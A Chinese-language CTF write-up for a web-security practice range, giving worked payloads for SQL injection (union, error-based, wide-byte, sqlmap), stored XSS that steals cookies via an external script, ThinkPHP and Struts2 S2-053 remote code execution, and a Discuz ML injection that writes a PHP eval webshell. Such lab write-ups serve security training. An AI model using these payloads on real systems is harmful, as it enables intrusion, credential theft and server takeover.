一、基础题
1.BurpSuite抓包
题目URL:http://www.whalwl.top:8007
打开网页,抓包重放,发送到repeter模块,题目提示说在头里面
2.kali系统安装
题目URL:http://www.whalwl.cn:8008/
直接有提示,访问readme.html直接出flag…
3.PHP代码练习
题目URL:http://www.whalwl.top:8022/
<?php
$shell = "pwd";
exec($shell, $result, $status);
$shell = "<font color='red'>$shell</font>";
echo "<pre>";
if( $status ){
echo "shell命令{$shell}执行失败";
} else {
echo "shell命令{$shell}成功执行, 结果如下<hr>";
print_r( $result );
}
echo "</pre>";
?>
首先看是什么目录,在$shell = “”;输入pwd
然后提示说在根目录,但是cd不能用,用ls /查看
可以看到flag了,再用cat this_is_flag_d0a10f422fb92e1e6f9bc193a254ef4d.txt
二、SQL注入
- SQL数字型GET注入01
漏洞URL:http://www.whalwl.top:8001/bug/sql_injection/sql_num.php
1’报错,输入-1返回正常,构造payload,
判断字段:显示位在第二位和第三位
-1 order by 3 #
爆库:
-1 union select 1,database(),3 #
爆表:
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dwvs'#
爆字段:
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='dwvs' and table_name='flag' #
爆数据:
-1 union select 1,flag,3 from dwvs.flag #
2.SQL字符型注入
漏洞URL:http://www.whalwl.top:8005//bug/sql_injection/sql_string.php?title=1&submit=submit
a’报错,输入a’ or 1=1 #返回正常,输入a’ or 1=2 #返回错误,构造payload
判断字段:显示位在第二位和第三位
a' order by 3 #
爆库:
a' union select 1,database(),3 #
爆表:
a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dwvs'#
爆字段:
a' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='dwvs' and table_name='flag' #
爆数据:
a' union select 1,flag,3 from dwvs.flag #
3.SQL搜索型注入02
题目URL:http://www.whalwl.top:8015/login.php
提示本题有三个难度,默认是低
此题可手工注入也可自动注入
首先注册账号
然后登陆,点击电影搜索,然后输入1’抓包
丢进sqlmap一把梭
获得flag
手工注入:
判断字段:
%' order by 7 #
爆库:
%' union select 1,database(),3,4,5,6,7 #
爆表:
%' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema = 'whalwl'#
爆字段:
%' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='whalwl' and table_name='this_flag' #
爆数据:
%' union select 1,flag,3,4,5,6,7 from whalwl.this_flag #
4.SQL数字型GET注入02
题目URL:http://whalwl.site:8034/
url加一’报错,直接sqlmap一把梭
5.Cookie注入
题目URL:http://www.whalwl.top:8009
sqlmap一把梭
sqlmap -u "http://www.whalwl.top:8009/user.php?id=1" --cookie "id=1" --dbs --level 2
6.X-Forwarded-For注入
题目URL:http://www.whalwl.top:8010
打开页面,burp开启抓包,刷新页面,添加X-Forwarded-For:127.0.0.1*
丢进sqlmap一把梭
7.SQL搜索型盲注
漏洞URL:http://www.whalwl.top:8002/search.php
判断字段数,大于5会报错,存在5个字段
a' order by 5 #
爆库:
a' union select 1,database(),3,4,5 #
爆表:
a' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = 'dwvs'#
爆字段:
a' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='dwvs' and table_name='flag' #
爆数据:
a' union select 1,flag,3,4,5 from dwvs.flag #
8.POST盲注&万能密码
登陆处抓包,sqlmap一把梭
8.SQL报错型注入
首先注册登陆,然后修改个人信息
爆库:
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
爆表:
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dwvs'),0x7e),1) #
爆数据:
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dwvs' and table_name='flag'),0x7e),1) #
爆数据:
admin' and updatexml(1,concat(0x7e,(select group_concat(flag) from dwvs.flag),0x7e),1) #
9.宽字符注入
题目URL:http://www.whalwl.top:8011
自动注入:sqlmap -u “http://www.whalwl.top:8011/wide.php?id=1” --tamper unmagicquotes --dbs
判断字段数,5以后报错,说明只有5个字段
?id=1%aa' order by 2 %23
爆库:
?id=999%aa' union select 1,database(),3,4,5 %23
爆表:可以把数据库名转换为16进制,也可以直接等于database()
?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23
爆字段:把this_flag转成16进制
?id=999%aa' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = 0x746869735f666c6167 %23
爆数据:
?id=999%aa' union select 1,flag,3,4,5 from kzf.this_flag %23
10.DNSlog方式注入
题目URL:http://www.zhanluanjie.win:10020
11.宽字符注入02
网站URL:http://whalwl.site:8036/
12.SOAP协议注入
题目URL:http://www.whalwl.top:8018/
13.安全狗绕过(SQL注入)
题目URL:http://www.zhanluanjie.win:10021
三、xss
1.存储型XSS
网站URL:http://www.whalwl.top:8006
提示:flag在cookie里面,注意格式flag{…}
首先注册一个账号并登陆
然后去留言板留言,没有任何过滤,直接
<img src="x" onerror="alert(document.cookie);">
或者
<svg/onload = alert(document.cookie);>
2.XSS挖掘&绕过
题目URL:http://www.zhanluanjie.win:10020/xss/
提示:
1、flag在管理员admin的后台管理中心里面
2、管理员每隔5分钟上线一次哦
首先注册账号并登陆
然后发布帖子,内容就是xss平台的连接
<sCRiPt/SrC=//https://xss8.cc/JOAc>
接着就是等待管理员的cookie,然后替换cookie登陆获取flag
三、开发框架漏洞
1.ThinkPHP5.0.23 远程代码执行漏洞
题目URL:http://www.whalwl.cn:8031
题目已经说了是thinkphp5.0.23,直接网上搜索payload
get传参:?s=captcha
post传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /this_is_flag
2.Thinkphp5.0.22/5.1.29远程代码执行漏洞
题目URL:http://www.whalwl.cn:8032
题目已经说了是thinkphp5.0.22/5.1.29,直接网上搜索payload
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
3.struts2远程命令执行
漏洞编号:S2-053
CVE编号:CVE-2017-12611
题目URL:http://www.whalwl.cn:8027/hello.action
poc为
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘ls’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd=‘ls’}:{’/bin/bash’,’-c’,#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。
(#cmd='ls /')
{'cmd.exe','/c',#cmd='ls /'}
四、经典CVE系列
1.Nginx整数溢出漏洞
2.破壳漏洞
CVE编号:CVE-2014-6271
题目URL:http://www.whalwl.cn:8029/
直接下载poc秒
五、文件上传
1.Nginx解析漏洞
题目URL:http://www.whalwl.top:8020/
提示:flag在网站根目录下
2.文件上传01
题目URL:http://www.whalwl.cn:8024/
提示:flag在网站根目录下
3.webshell&中国菜刀
题目URL:http://www.whalwl.site:8013
提示:flag仍然在数据库里面哦!
打开页面发现一句话木马连接地址,蚁剑连接,发现是真的,然后提示发现init.php,打开是数据库配置文件,得知账号和密码
然后用蚁剑的数据管理连接,这里注意的是地址要改成Mysql,这里是一个坑
连接成功之后,找到flag存在的表
六、CMS系列
1.Discuz
题目URL:http://whalwl.host:8042/forum.php
漏洞描述:
Discuz ML! V3.X存在代码注入漏洞,攻击者通过精心构建的请求报文可以直接执行恶意的PHP代码,进一步可获取整个网站的服务器权限。
漏洞影响版本:Discuz!ML v.3.4 、Discuz!ML v.3.2 、Discuz!ML v.3.3 product of codersclub.org
(注意:支持多语言切换可能会有这个漏洞!)
首先打开burp 刷新首页抓包,然后将抓到的包发送到Repeater中
构造请求参数验证漏洞是否存在
利用Cookie信息上传Shell
因为cookie字段中language没有对参数进行过滤直接拼接从而写入缓存文件之中,导致缓存文件随后被加载,从而造成代码执行。我们可以使用file_put_contents() 函数写入一句话木马
'.file_put_contents('owl.php',urldecode('<?php eval($_POST["owl"]);?>')).'
经过URL编码后为
%27.file_put_contents%28%27owl.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522owl%2522%255d%29%253b%253f%253e%27%29%29.%27
由上图可见,服务器状态返回正常
使用AntSword、Chopper或者Behinder进行连接,这里使用的是AntSword
路径是http://whalwl.site:8042/owl.php